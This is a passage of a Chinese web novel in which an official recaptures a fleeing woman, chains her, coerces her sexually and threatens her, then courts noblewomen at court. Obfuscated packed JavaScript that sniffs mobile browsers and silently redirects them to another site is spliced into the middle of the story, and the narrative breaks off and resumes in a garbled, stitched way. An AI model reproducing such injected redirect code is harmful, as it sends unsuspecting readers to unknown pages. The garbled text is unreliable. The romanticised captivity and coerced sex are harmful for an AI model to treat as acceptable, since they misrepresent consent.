脸颊飞了红云,也不知是被火浪热的,还是自己羞的。 烹饪过半,贾文菡这才想起提醒妹妹不要靠近看,回头见了妹妹,话音一转:“呀,哪来的娟扇?正想叫你离远些,幸好有这娟扇挡着。你再站远些,这脸都被热红了。” 贾文萱站着不动,啐了哥哥一声。“呸!还等你来提醒我,我人都煮熟了。” “胡说八道。”贾文菡将她拉至身后,“站我后头看。” “哼。” 贾文萱转眸一看,恰好与谢庭钰目光一对,灼灼火光映在他那黑亮的瞳孔上,宛如星辰点点,霎时心动。 他只是浅笑着朝她点了下头,又转回身看鱼,并与贾文菡闲聊起来。 贾文萱只觉自己当下是:酒酽春浓少女心。 一顿春日宴吃得欢声笑语。 回京的路上,贾文菡问妹妹:“今日可开心?” 贾文萱登时收敛脸上的笑容,掀开车帘瞧着窗外不断变化的景色,遮掩道:“还行吧。马马虎虎。” 当哥的明白了,抿唇笑了笑,然后说:“你年纪还小,定亲的事情还不急。且谢将军尚未入京,待爹娘与族中长辈考察一番后,才做决定。” 贾文萱急急摔下车帘,激动到双颊泛红:“我可没说喜欢他。” 贾文菡:“是是是。那种寒门出身的穷小子,可攀不上我们的掌上明珠。” “二哥!”贾文萱别开眼,嘟着嘴扯弄腰间的环佩,“那也不能这么说……” 贾文菡笑出声。 “二哥!我不喜欢你了!” “好好好,对不起对不起,二哥不笑了。” “哼!” ………… 送别贾家兄妹后,谢庭钰转头往厢房的方向走去,期间碰上李达,便招手将他叫来,问他:“那道醉鱼她吃了吗?” “吃了。还说想吃白桃夹心糕,我先问了王大夫,他说能吃,我这才往后厨去吩咐。”李达说。 “嗯。忙去吧。” “欸。” 他在回廊里走了两步,听到远处的嬉笑声,转头望去,是去后山踏青的姑娘们回来了。 夕阳完全没入山后,天色渐渐转暗,一轮明月悬山头。 他一边走着,一边思考等会儿问问棠惊雨去了玉京,想去哪里逛逛。 推门进来,只见轩窗半开,穿堂风吹遍整间屋子。 方桌上的热茶还水雾氤氲。 谢庭钰征战三年,却敏锐地察觉到屋里没有人。 “棠惊雨。” 他骤然警觉起来,从木架上拿过一柄短刀,边喊她的名字边搜查屋子各处角落。 没有任何打斗的痕迹。 他突然想到什么似的,去翻她搁在木柜里的包裹。 什么东西都在,就是缺了五十两白银和几件金首饰。 他勃然大怒。 这人竟敢趁他无暇分身之际,跑了! 11. 第 11 章 明月皎洁如霜,将昏暗的后山照得很亮。 有个人在树影中穿梭。 咻—— 一支利箭疾速飞来,凶狠地钉在正在跑动的人稍前边的草地上。 “啊!” 棠惊雨吓了一跳,周身瘫软地坐倒在地上,接着听到身后传来一阵快速逼近的马蹄声。 她颤着心肝回头一看,顿时吓得要五脏俱裂——还穿着蜜橘色长袍的谢庭钰,驾着一匹毛发油亮的大黑马,英姿勃发,高举弯弓,神色凌厉地朝她而来。 惶惶月色下,竟如前来取她小命的鬼君一般令人望而胆寒。 两条腿焉能跑过四条腿,她知道自己逃不掉了,哪怕还有力气,也瘫坐在原地不动。 谢庭钰高举缰绳勒停黑马,冷眼睨着瘫坐在地上的人,将木弓拉满,锐利的箭尖对准她,一字一句地问:“你去哪儿?” 棠惊雨真怕他会一时怒气上头将她杀了,可怜兮兮地望着他,胡乱编了一个理由:“我出来赏月呢。” “哦?你倒是有兴致。” “昂。大人没空陪我,我只好自己出来玩了。”她讨好似的奉上刚才随手摘来的野花,“我还给你摘了花呢。” 谢庭钰怒气霎时腾升,又飞速散去大半。 真要深究起来,他的责任占了大半。 他冷嗤一声,收了弓箭放回箭囊,翻身下马,扫了她一眼,走上前将那支箭拔出来扔回箭囊,才转过身对她说:“自己站起来。” 她故意扒着他的腿站起来,扯出一个假笑,将野花献给他。 他的神情冷得像一块寒冰,到底抽过她手上的野花,一同扔回箭囊。 她怕这个疯子又像昨晚一样癫狂,先行走上前踮起脚吻了一下他的嘴角。 “那我们回去吧。”她的表情像是自己真的只是出来赏月一样。 谢庭钰垂眼看她,接着将她按到树下*个了爽,然后才简单收拾一番,捞起她一道驾马回去。 次日。 李达端着木托,送来一套干净整洁的官服。 离开时,余光突然瞥到棠惊雨左脚上的锁链,锁链一直连到木柱上,李达双眼瞪大,又听到谢庭钰在一旁出声:“还有事吗?” “没有了。”李达匆匆告退。 谢庭钰站起身,吩咐棠惊雨给自己换上官服。 官服的穿法与常服略有不同,他耐心地教她,教了一个时辰,她才终于学会。 他伸臂揽住她的腰将人按到身边,移动时她那脚边的锁链发出一阵拖拽的响动。 他侧头在她耳边说道:“记好了,以后都由你来穿。明白了吗?” 她哪能说不?于是乖顺在他怀里点点头,轻柔道:“明白了。” “明日我就要进京面圣了。今晚你将这身官服熨烫好,盖在熏笼里熏上香,明日回了我在玉京的府邸,再给我穿上。” “嗯。”她继续扮演一个倾心侍奉他的模样,“大人进了宫,肯定会有很多赏赐吧?” “是。”他笑着轻抚她的头发。“想要什么?” “我听说玉京城里的姑娘,个个都穿得跟仙女一样。那些金银首饰、裙衫锦鞋都美得不得了。”她柔情似水地抬头看他,“我也想要呢。会不会太贪心啦?” “不会。”他捏了一下她的脸,“回京后,你想要什么都可以。” “真的?” “我骗你干什么。” 她伸手搂住他的腰,又好奇地问:“都说清官两袖清风,我瞧着大人也算个清官,怎么这么多银两?” “行商赚了不少。”他对她倒没什么好隐瞒的。 “吼?所以你真的当过香料商人?” “当然不止一门生意。” “是凉州时做的生意吗?” “都有。”他摩挲着她的后背,很是享受她带来的这种亲昵。 “那些姑娘们,你也打算跟我一样养在府里吗?”她津津有味地继续发问。 “不是。届时会安排好她们的去处。”他抬起她的下颌,语调放轻,“养你一个已经够我受的了。” 到了夜间。 棠惊雨正要按他的吩咐往烫壶灌装热水,好去熨烫他的那身官服。 但因为他对明日即将发生的事情过于兴奋,过剩的精力在她身上发泄了一晚上。 到了第二日早上。 一行人要按着司天监的时辰启程前往玉京城门时,棠惊雨还如一滩软泥一样昏睡不起。 谢庭钰避开众人,抱着人放到为她安排好的马车里。 一切准备就绪,一行人就前往玉京。 三位好友赵英祯、柳世宗、姜子良自然都来了,还有一众前来道贺的皇亲国戚,世家子弟。 其中,还包括贾文萱。 今日贾文萱一身华丽的宫装,完全一副世家千金的妆扮。 她走上前,朝谢庭钰盈盈行礼:“谢将军好。” 谢庭钰也恭敬地回礼:“三小姐好。” 到处都是盯着的视线,他们二人只问了这一声好,就再无他话。 今日行程最要紧的就是进宫面圣,所以在城门闲叙的时间不多,很快谢庭钰一行人就回到了玉京的府邸。 府邸虽然之前已经查人打扫过一番,但是要做的事情依旧非常的多,所以哪里都非常乱。 李达不亏是被谢庭钰相中的人,他稳定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我知道呀。”她低头给他绑革带。 “从现在到我回来,这里都会很乱,你不要乱跑,有什么事情就找李叔。”他越说越觉得不太安心,“要不还是……” 他身上的官服规规整整刚穿好,不能再弄乱,也不能有过多的褶皱,所以棠惊雨握住他的手,轻柔地吻了一下他的掌心,说:“大人放心,我会照顾好自己,等你回来的。” “嗯。” 他正往前走了几步,又突然绕回来,将正在低头收拾的棠惊雨拽起来,沉声警告道:“你若是再敢跑,我就玩死你。” 他身上的戾气太重,棠惊雨被他吓得周身发抖,为了让他安心离开,一个劲地发誓:“我只求长长久久地陪在大人身边。” 12. 第 12 章 倏忽已是九月秋。正是吃芡实的季节。 喧闹的叫囔打破大理寺的井然有序。 “谢庭钰你竟敢抓本世子!我爹可是陈王!我娘更是太妃的外孙女!你等着受罚吧你——哎哟我的手——疼疼疼——” 说话的正是陈王世子梁昌瑜,家中就他一根独苗,未免溺爱纵容了些,遂养成个骄泰奢侈的性子。 梁昌瑜家中权势不低且有百万之富,更是无心学业,成日跟私塾里认识的忠武侯幼子冯孝康、户部尚书表侄杨世光厮混在一起斗鸡赛马、吃喝玩乐。 今日他们从郊外游玩回来,路过东市一家名叫“珍艺馆”的首饰铺,一瞅里面正在忙活的美艳掌柜和几位各有千秋美人伙计,顿时色迷心窍,走进店里原想调戏一番,结果闹将起来被附近抓凶的谢庭钰以“寻衅滋事”为由一齐押往大理寺。 三位公子哥儿一路骂着谢庭钰,被齐齐关进了大理寺牢狱。 听此动静的右少卿陆佑丰,捧着一碟好不容易抢到的玉京梁门街张和家最畅销的炒芡实,斜靠在屋外的木柱上,看着捋起袖子准备忙活一场的谢庭钰,笑道:“这回又是从哪儿抓回来的?” 谢庭钰停下脚步,先是闻到炙炒的浓香,看了一眼陆佑丰手里的炒芡实,才回道:“酉正一刻,宣平坊。” “唔……”陆佑丰算了一下时辰,“你还有一刻钟。” “够了。”谢庭钰说完,面不改色地抢走陆佑丰手里端着的炒芡实,迈着大步离开。 “喂!那可是张和家的炒芡实!——给我留一点儿!” “嗐——”一声轻叹从身后传来。 拢着袖子的左寺丞走过来,感叹一句:“咱们这大理寺,还是左少卿最豁得出去。” 陆佑丰“嘁”了一声。“还不是因为年纪轻脸皮厚。” “哟。右少卿也不过比他大个五岁,也没见您之前有这脸皮啊。” “去去去。很闲吗你。赶紧干活。” 当陈王急赤白脸冲到大理正卿面前时,一副被人殴打过的模样的谢庭钰已经站在案台下。 在陈王开口前,谢庭钰抢先滔滔不绝,指责梁冯杨三人仗势欺人,目无皇法,袭击朝廷命官,将来是不是要以下犯上做些更严重的祸事,又或者受了什么人指点,要一步步挑战正统,实在是其行可恶,其心可诛! 好巧不巧,陈王才因为前两个月的寿宴办得过于奢侈,被皇帝好好提点了一番。 如今陈王一听谢庭钰此番慷慨陈词,原先准备为儿子开脱的词忘了干净,吓得连连跟李正卿撇清关系:“正卿明察,切勿听左少卿一面之词。瑜儿他们只是贪玩任性,绝没有要以下犯上的意思啊!” 谢庭钰紧接着冷哼一声。“勿以恶小而为之。今日可以对大理少卿拳脚相向,明日就能对——” “好了好了。” 忍笑许久的李正卿与谢庭钰一唱一和,适时叫停左少卿渐次加重的言辞,板着一张刚正不阿的脸,对陈王说:“左少卿虽有些言过其实,但陈王是否过于溺爱了些?” 李正卿继续道:“良家女子开铺做生意,来往的客人也多是些夫人、小姐。三位公子二话不说就要搅了人家的生意,还冲撞了不少良家百姓,引起街口踩踏事件,又对大理寺的人出言不逊,大打出手。哪怕往小了说,也不止一句‘贪玩任性’吧?” 陈王当即“哎呀”一声,将罪责推到仆役身上,说肯定是家中的恶仆教唆导致,他回去定会好好管教下人,派人补偿店铺的损失,至于梁冯杨三人,在牢里思过三日就可以了。 捞人不成反认栽的陈王忍气拂袖离开后,整理好乱发的谢庭钰领着赔银要去宣平坊一趟。 绕过西便门时,恰逢同要出行查案的陆佑丰。 陆佑丰凑前去看他的脸,赞叹道:“啧啧,近看瞧着也真。” 谢庭钰躲开他的手,说:“别碰。这‘伤’明日才能好。” 谢所说的“伤”,是用油彩绘制的仿照被人殴打后形成的淤青红痕,为了追求真实,甚至手指关节都有绘制对应的红瘀。 陆佑丰笑问:“我一直好奇,你这手艺上哪学的?那位师父该不是传说中的千面人吧?” 说到这个,便会想起某个人。谢庭钰就是跟她学的这一手。 谢庭钰翻身上马,随口回了一句:“跟一个云游手艺人学的。” 送赔银一事本不用他亲自去,但那宣平坊的珍艺馆,实际是他的产业。还有珍艺馆附近的天香酒楼、锦绣坊、墨思书斋、馥玉香斋都是他的。 先前在祁水时,他难以推拒而收下的那七八名舞姬歌女,回京后都给她们脱了奴籍入了良籍,并根据每个人的擅长与喜好,放到各个店铺里帮忙。 珍艺馆里管事的叫琼影,是一众姑娘里最会赚钱的一位。 其他姑娘都还领月钱,她却能单独与谢庭钰谈成合作生意,让他同意珍艺馆的利润五五分成。 琼影一见谢庭钰,惊叫一声。“这,这怎么伤成这样了?大人稍等,我去拿药。” “不用。一点小伤。”谢庭钰将一包银子搁到圆桌上,“算算这些够不够弥补损失,不够我再去要。” 琼影没顾得上赔银,还是担心他的伤,一脸紧张地追问:“明明离开时还好好的,怎么突然脸上、手上都是伤?还是先处理一下吧?” “不必。算银即可。” 琼影就没再坚持。 但在他离开前,琼影还是坚持递了一盒伤药膏请他回去好好处理瘀伤。 他没再推辞,收了伤药膏,翻身上马回大理寺。 * 大理左少卿这个官职,位高权重,明里暗里不知多少双眼睛盯着,就等着你行差踏错出点什么问题,好将你拉下马,推自己的人上位。 谢庭钰当值以来,大问题没有,小问题倒有那么一个——脸皮实在忒厚了些。 比如刘大人将清净门一案的卷宗上呈后,皇帝暗诏大理寺、刑部、都察院三司里的数位高官夜谈。 一轮清洗之后,彻底拔除了扎根在玉京里的邪派官员。 论功行赏时,谢大人还嫌不够,在一众谢恩的声音中突兀道:“上回在皇上的御书房见的那枚方砚实在昼夜难忘,不知微臣可否以功换之?” 皇帝御书房里出现的砚台没有一千也有八百,哪里记得是哪一块方砚,又不好直接问他是哪一块。 李太监通泰精明,先出言道:“是那块嵌蚌池松花石方砚吧?皇上还跟咱家提过,谢大人当时是看得双目发亮,就等着寻一个合适的机会送给您呐。” 谢庭钰笑:“正是。” 皇帝正高兴,一扬手又叫他再挑几件凑足文房四宝,一齐拿回府去。 事后谢庭钰送了五十两黄金给李太监,还恰如其分地找了一个“七月流火,公公记得添衣”的理由。 这番举止,一众官员没见过,对此颇有微词。 骂他行贿又不至于,思来想去,给他按了一个“好大喜功”的恶名,一连参了他好几本。 皇帝看完,一笑置之。 虽说他拢共就这样做了三回,且要的都是一些小玩意儿,但这行径让许多想效仿又不敢的官员怀恨在心,想查他贪污受贿又一点证据都翻不到,只好天天在背地里讥讽他这寒门出身的就是好功贪赏。 行宫秋宴这日,赵英祯得了一件山水玻璃炕屏。 席间有人故意笑道:“三皇子还是快些收好罢。要是让那位好功贪赏的大人见了,只怕是要来讨赏了。” 倒是巧,对方说这话的时候,循例巡逻的谢庭钰从后头走了过来,接话道:“微臣谢过三皇子的美意。” 那言行,就差伸手直接拿走了。 赵英祯大笑:“行,给你就是了。” 他招手让人收起来送去谢庭钰的厢房。 挑拨离间的人瞬间遮起脸,快步离开。 赵英祯抓住要去巡逻的谢庭钰,同他说:“既收了我的礼,就得承我的情。” 谢庭钰垂眼瞧见他递来的请柬,拿来一看,是兵部尚书的寿宴请柬。 极少参加宴会的谢大人,皱眉“啧”了一声。“那屏风还你行不行?” 赵英祯:“不行。” 正是寿宴那日,谢庭钰随赵英祯一同去到兵部尚书府上贺寿。 尚书大人见了谢庭钰,大笑三声,而后对赵英祯说:“认输认输。还是三皇子有本事,真能将谢大人这位稀客请来,我先饮三杯!” 就是在这场宴会上,谢庭钰与定国公外孙女宋元仪,有了交集。 * 幽竹轩今日有人宴客。 宋元仪望着眼前的酸枝木百蝶图薄纱屏,紧张地问身旁的侍女墨梅:“谢大人真是请到了?” 墨梅:“是。请了好几回,还是我说不还这个情,小姐睡都不安稳,又恰好约的这日谢大人休沐,这才同意来。” 宋元仪稍稍放松了一点,眉眼含笑:“那就好。” 她的话音刚落,就听到前边的仆役传来声音:“大人这边请。” 扶栏下的湖面倒影着一个身姿挺拔的郎君,正朝她所在的幽亭处走来。 他今日穿着一件缃色窄袖襕衫,在满映碧竹的湖面中,那一抹移动的金黄色,恰是叠翠流金。 “宋小姐。” 宋元仪连忙站起来,朝着纱屏对后面的谢庭钰礼貌行礼:“谢大人。” 二人隔屏坐下。 墨梅吩咐下面的人送上早已准备好的美酒糕果。 宋元仪之所以宴请谢庭钰,是因为上回在兵部尚书府上吃宴时,有一家公子喝多了耍酒疯,下人们不敢太拘着他,被他冲出来直直往她身上扑。 幸好谢庭钰出现及时,将对方的手脚用勒帛捆了起来,免了她被扑倒摔进湖里的难堪窘迫。 宋元仪坚持派人请他,也是因为担心他日后会以“还情”的缘由,叫她做一些令她不喜的事情,不如先将主动权掌握在自己手里,找机会还掉这个恩情。 宋元仪今年十七,原是儋州巡盐御史家的女儿,十二岁那年父母双双病亡,带着一个嬷嬷和两个丫鬟前来玉京投奔祖父——定国公。 她十五岁就以“春夏秋冬”各一首组成的《四季乐辞》,名满玉京。 谢庭钰闻“才女”佳名已久,正好借着这次宴请,与她隔屏畅聊了一番。 恍惚已是日暮时分。坛中美酒已然饮尽。 凉爽的秋风将翠绿的竹叶片片吹落轩亭里。 谢庭钰清楚宋元仪今日请自己来的主因是什么,捻起落在长桌上的一片竹叶,温声问道:“宋小姐可愿相见?” 隔着屏风这朦朦胧胧的薄纱,宋元仪能隐约看见表情真挚的谢庭钰。 宋元仪不懂官场风云,只知祖父家中各个当官的长辈或哥哥,对左少卿颇有微词又十分敬畏。 而她的另一位好友——隔街英国公府的三公子——黎堂真,正好在左少卿手下当值,他对这位顶头上司却是交口称赞,钦佩不已。 原先宋元仪还忧心谢大人左右逢源不好应付,没想到对方如此博闻强识,礼仪周全。 方才听了他这一问话,她连忙拿起搁在一旁的团扇,遮住自己的半张脸,随后快速整理好身上的衣裙、妆容,才说:“可以。” 身姿颀长的郎君从屏风后绕过来。 她看着他,彼时想的是:原来他这身衣裳是姜黄色的。 谢庭钰坐到她面前,将那片竹叶举到二人中间,指着竹叶宽部顶端,对她说:“还请宋小姐捏住顶端的叶片,将你那半边的叶片撕下。” 宋元仪看了他两眼,然后照做。 捏住叶片,顺着叶脉施力往下,半片竹叶被撕了下来。 谢庭钰:“‘撕叶还情’。先前那桩举手之劳,两清。” 时候不早,谢庭钰便起身告辞了。 宋元仪的指尖还捏着那半片撕下来的竹叶,目光落到湖面,看着姜黄色的身影浮在碧波上离开。 她察觉到自己脸颊发烫。 * 不久后,郊外的金桂苑中举办折桂宴。 一是庆贺金桂佳节,二是请了不少还未婚配的公子小姐前来游玩,互相认识,若能凑成几对佳偶最好不过。 谢庭钰当值以来,一直忙于公务,连休沐都少,参加此等宴会更是稀少。上一回是受三皇子极力邀约去了兵部尚书府,这一回是被现任殿前司步兵指挥使的姜子良强行拖去的。 “哎呀,我说你一天到晚不是大理寺就是你自己的谢府,手里握着御赐的婚旨都多久了,到现在连个能说体己话的姑娘都没有。” 说到这里,姜子良突然悄悄地压低声音,说:“你喜欢那个贾丞相家的三小姐是不是?她今日也在这儿呢,围在她身边的王孙公子多的是,你可得把握好机会啊。” 谢庭钰听完好笑道:“你胡说什么呢。” “我还不知道?润文上回可是看得分明,你对那三小姐那叫一个殷勤,她让你提灯、解灯谜、看荷花,你都事事有回应。” 凉州时候他们都叫惯了“润文”,三皇子便也随他们,就当是在四人之间多了一个“润文”的昵称。 听了姜子良的话,谢庭钰沉默几息,才说:“顺道而已。” 姜子良只当他是少年心事被戳破不好意思,将他推到贾文萱附近后,就跟一副深藏功与名的道士一样甩袖叹笑:“你去罢,我要去找我娘子了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229841|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回京后,姜子良便与青梅成了亲,赵英祯也陆续有了一位侧妃与一位良娣,柳世宗更是跟从凉州带回来的妾室琴瑟和鸣。 四人之中就谢庭钰目前看着孤寡,也是为了他的婚姻大事,操了一些心。 谢庭钰还在踌躇深思,不远处的贾文萱先看到他,拨开围在自己身旁的王孙公子,小跑到他面前,笑逐颜开地说:“谢庭钰,你怎么也来啦?” 谢庭钰垂眸,朝她展露一个微笑。“三小姐好。” “你来帮我折桂花?” “好。” 先前围着贾文萱的几位王孙公子,见了是谢庭钰,即使心中有些愤愤不平,却都不大敢靠近。 于是贾文萱身边只剩谢庭钰一人,郎才女貌,羡煞旁人。 正百无聊赖的宋元仪见了,毫不避讳地起身走过去,同谢庭钰打招呼。 贾文萱是一个平日里得到的爱都要漫溢出来的姑娘,所以她前日跟徐世子郊外骑马,昨日同小周大人游园,先前与邱公子投壶,现在又寻左少卿同行,也丝毫不会忧心有人敢传出半点闲言碎语,更不会对那些被她“抛弃”而失落的郎君们有半点愧疚。 或许是因为众多郎君中,她更喜欢谢大人,且谢大人并不会与其他人一样随传随到,只有恰好碰到时,她才有机会与他说上几句话。 因此,当宋元仪要加入同行队伍时,贾文萱有点不开心。 但她又觉得自己堂堂丞相家的三小姐,要是因为这点小事就跟宋元仪闹不和,实在有损门楣,所以她忍下那一点不开心,默认宋元仪的同行。 游玩一路,身形高大的谢庭钰为两位如花似玉的姑娘各折了两支桂花枝。 正停在一处凉亭里歇息,贾文萱的目光忽然被谢庭钰腰间的墨玉玉牌所吸引,指着它问道:“你这玉牌总见你戴着,能不能给我瞧瞧?” 谢庭钰便解下腰间的玉牌递给她。 宋元仪闻声探看过去,说:“我居北海君南海,寄雁传书谢不能。桃李春风一杯酒,江湖夜雨十年灯。是山谷道人的诗。” 贾文萱没有宋元仪的才气,起初只看玉牌上的两句诗,还以为是描绘江湖风光的,如今听宋元仪念出前两句,一思忖就觉得不对劲,抬头问他:“这么说,是故人给你的?” 谢庭钰脸色平淡:“算是吧。” 宋元仪试探道:“天涯海角地,雁归诉相思。可是凉州时候的故人?” 谢答:“不是。” 贾文萱追问到底。 两位姑娘的试探实在明显,谢庭钰露出一个很浅的笑容,随后向二人解释:“这位故人是回京途中遇到的,彼时顺手帮了些忙,事后对方就送了这块玉牌。” 听了他的话,贾宋二人都觉得这两句诗不大像情意女子相送的。 因为在她们的印象中,若是含情女子相送,大多会送些“郎去何时归,妾心永相随”之类的绵绵诗句,他这两句却有一些江湖气。 她们自然以为是男子相送,不再往下问。 * 很快就到了中秋佳节。 谢庭钰和几位好友在三皇子处一齐吃了赏月团圆宴。 回府后,他在院中独酌,躺在竹藤摇椅上听风赏月。 十五的月亮并不圆。 他想起席间友人的调侃,都笑他在金桂苑的时候既想貂蝉又念卓君,问他到底更倾心哪一位。 要说玉京贵女中,他最喜欢大约是贾文萱。贾文萱的美貌与宋元仪的才情并列,扬名玉京。 贾文萱的美带着浓郁的金玉之气,却丝毫不艳俗,而是霞映澄塘般的明媚俏丽,任谁见了,都想捧上一碗金求她垂眸一眼。 家世显赫更不必说,先前被谢庭钰送进大理寺的梁冯杨三人,在她面前也得好声好气地说话。 只是贾家早就放话,不会将女儿嫁出去,只招上门女婿。 谢庭钰绝不会接受当上门女婿。 如今朝廷以贾丞相、戚国公、皇族三大势力明争暗斗,如火如荼。 今日构陷,明日栽赃。 一会儿要你抄家,一会儿要他革职。 大理寺管也不是,不管也不是。 他与陆佑丰整日气得去后院劈柴泄火。 他本就没有家族撑腰,若真是当了上门女婿,必将违逆初心,沉沦在党争中消磨意志心性。 但他确实喜欢贾文萱,与她相处时,时常会有玉京金梦已然实现的美妙感。 而宋元仪,他也喜欢。 宋小姐不仅品貌婷婷,秀雅如兰,又且颖悟过人,写的文章是篇篇锦绣,做的诗句是字字珠玑。 与她闲谈风月,便觉世事纷扰如风去,心境如响玉清灵般悠然阔明。 只是娶她,不过娶了一个“名”,于他在仕途上的实际增益并不多。 因为定国公虽宠她,却不可能像对亲嫡孙那般躬身教育,也不会对她的夫婿有多少提携。 或许还有一个更为隐秘的原因—— 他对她们有喜欢、欣赏、敬重,却没有那种飞蛾扑火般炽热浓烈的情兴。 那种不顾一切,即使毁灭也在所不惜的疯魔情兴,他只对棠惊雨有过。 他始终没有找到她。 不管是利用职务之便,还是委托鬼市能人,一点关于她的消息都没有。 起初他还想,她要走便走,反正不管从哪里看,她都不能为他的前程仕途带来一丝好处。 身体差,出身低微,脾性也一般,文学素养半点没有。 天大地大,不知道哪里能容得了她。 真在哪儿受了苦,也不知道会不会寻路找他左少卿诉冤陈情。 越想释怀,越耿耿于怀。 越是怨怼,就越是思念。 未经情事时,总狂妄地认为灵魂交融的喜欢,才是真正的喜欢,身体之间的迷恋纠缠皆是浅薄浮浪的喜欢,于他看来,简直上不得台面,实在令人羞耻。 真碰上时,一切仁义道德皆是虚妄空谈。 不过肉体凡胎。 都忘了解决身体饥渴与充盈内在境界,同等重要。 况且她带来的,也不仅仅是原始欲望的满足。 但她没给他机会往下深究。 那夜海棠糜艳的春雨宛如浸酒惊燃的簇簇幽火,在她离开的那些日子里,昼夜不休地、一寸也不放过地焚烧他的血肉灵骨。 谢庭钰握着手中她唯一留下的墨玉玉牌,望着未圆的十五明月,左思右想,长吁短叹,苦酒一杯一杯复一杯。正是: 人有悲欢离合, 月有阴晴圆缺, 此事古难全。 次日醒来,谢庭钰将那枚墨玉玉牌收好,不再佩戴。 13. 第 13 章 玉京的第一场雪。 越下越烈,越下越密。 浩浩荡荡覆盖整个玉京城。 众人起先对于初雪的兴奋很快就变成了恐惧。 各地的雪灾情况接连上奏,皇帝当机立断从国库拨款赈灾,所有官员除特殊情况,皆以救灾为首要工作。 谢庭钰原是从大理寺抽调前往受灾地帮忙,预计十日后就回大理寺继续办公。 待到第七日时,他就发现有人胆大包天一口气贪了三千两赈灾银,直接导致没能及时得到救援的六户人家一夜冻死。 安置尸体时,他看到其中有个姑娘的脸与棠惊雨有五分相似。 第一眼以为就是她时,他即时头脑发晕到需要扶着泥墙才能站稳,等到第二眼确认不是她时,他才庆幸地松了一口气。 随后又望着这些原本可以活下来的百姓,他心底一片哀凉。 他在官场向来八面玲珑,像一条滑腻的泥鳅一样让人既嫉恨又抓不到错处。 但这一回,他不再管这个官那个将,遇到贪赃祸民的情况,绝不手软,丝毫不理会你背后的人是谁,抓到后要么吊城门示众,要么直接一刀砍了。 雷霆手腕之下,底下的人不敢再有歪心思。 彼时他只是想着,不要再有那六户人家的惨剧发生,更不想在漫天雪地里翻到棠惊雨冻死的尸体。 他领着手下的人辗转受灾地,从年前一路忙到开年,就连除夕那晚,都是与前来赈灾的同僚一道围在篝火前吃碗热汤素菜饺,就当是过年了。 他日日祈祷,祈祷那位散落天涯的故人,能受此绵荫庇护,在这场罕见的滔天雪灾中幸存。 又一年春。雪过天霁。 各地的灾情已然过去,百废待兴,上至官府下至民众都在忙着旧地重建。 而玉京的朝堂,却翻涌着一场针对个人的“暴风雪”。 一众对谢庭钰积恨已久官员摩拳擦掌,就等着今日对谢庭钰秋后算账。 他们大肆批判谢大人违纪越权,对官员动用私刑,目无王法,好大喜功等一众罪名。 为谢大人说话的,也有几位明事理的官员,其中就有李正卿——他太清楚这位左少卿都吃了什么苦,遭了什么罪。 可惜最能为谢大人说话的,都还在受灾地帮衬着。 宣政殿吵吵囔囔,贾丞相、戚国公静立于其中,仿佛那些吵闹与他们无关一样。 而同在朝上的赵英祯、柳世宗与姜子良,一样寂静无声。 只不过三人安静,与另外两位掌权者的安静,意义大有不同。 “好了!” 皇帝被吵得脑袋嗡嗡疼,倏地站起来,怒而摔了弹劾谢庭钰的《联名奏疏》,站在高台上扫视一众红脸赤耳的朝官。 皇帝思考几息后,扬手一指未曾开口的赵英祯,说:“英祯,你来说。” 赵英祯走到中道上,声音响彻整个沉寂的殿堂:“如诸位大臣所言,左少卿确有过失,理应受罚。但念其救灾有功,将功抵过后,应受鞭刑十鞭,罚俸一年,停职俩月。” 这跟众大臣要求的革职、流放、抄家等这类重刑比起来实在太轻,熙攘声正要再起时,赵英祯又扬声问:“左少卿以为如何?” 这时一位穿着紫色官服的男子行至中道,拱手作揖,对高台之上的皇帝说:“臣无异议。” 一片压低声量的哗然。 连面无波澜的贾丞相、戚国公都露出略微震惊的表情。 往日风华正茂的谢左少卿,如今憔悴得叫人不敢认,尤其脸上皲裂的皮肤和一双冻得赤红的手,实在触目惊心。 他如今这副模样,与其他面色红润的大臣相比,简直是完美回应了李正卿方才那句震耳发聩的话——你们在除夕夜吃香喝辣,他还远在灵州连片肉都吃不上! 他们压根就没认出谢庭钰,都以为他今日没来上朝,才敢如此大放厥词,肆意诋毁。 如今人一亮相,不少先前被他磋磨过的大臣都咽了咽口水,嚣张的气焰都去了大半。 皇帝转过身,隐怒逼视方才振振有词的大臣们,说:“鞭刑就不必了。罚俸一年,停职俩月这个惩戒,众爱卿可有异议?” 当下情形,谁还敢有异议。 一场轰轰烈烈的“暴风雪”就此平息。 * 谢府,水榭小宴。 “这招以退为进太狠了。”柳世宗叹道。 “可不是?听到鞭刑十鞭的时候,我那冷汗都下来了。”姜子良拍拍心口,看向赵英祯,“你是真不怕皇上点头同意?” 赵英祯饮了一杯春酒,搁下酒盏笑道:“要不说谢兄聪明,知道救灾时只提皇恩浩荡,半点不言自己功绩,让父皇在民间的声望更盛。再一比对灾民模样的他跟刚过完年吃得圆润的诸位大臣,哪个下得去这种狠手?” “那也是险。”柳世宗垂着嘴角,叹然地饮尽盏中酒,“十鞭要是真罚下来,这会儿都怕是在底下喝孟婆汤了。” 谢庭钰在府里休养了几日,精气神已经好了不少,闻言笑叹一句:“富贵险中求。” 柳世宗:“哪来的富贵?罚俸又停职,一条小命都快搭了进去。” 赵英祯却说:“怕甚?咱们这位左少卿‘好大喜功’,还愁往后没有赏赐?” 此言一出,四人举杯齐笑。 隔日,皇宫那边就寻了一个“好好养伤”的理由,派李公公亲自到谢府送去成箱成箱的天灵地宝。 再后来皇帝招谢庭钰入宫,总是寻这儿的理由,那儿的借口,御赐他许多金银珠宝。不过这都是后话了,此处按下不表。 一日,贾文萱携二哥贾文菡前来谢府探望。 贾文萱虽听说谢大人受伤,却没想到眼前的人如此憔悴,心疼到情不自禁地落了两滴泪。 谢庭钰连忙拿起一方绸帕递过去。“三小姐莫哭,我一点儿事没有。” 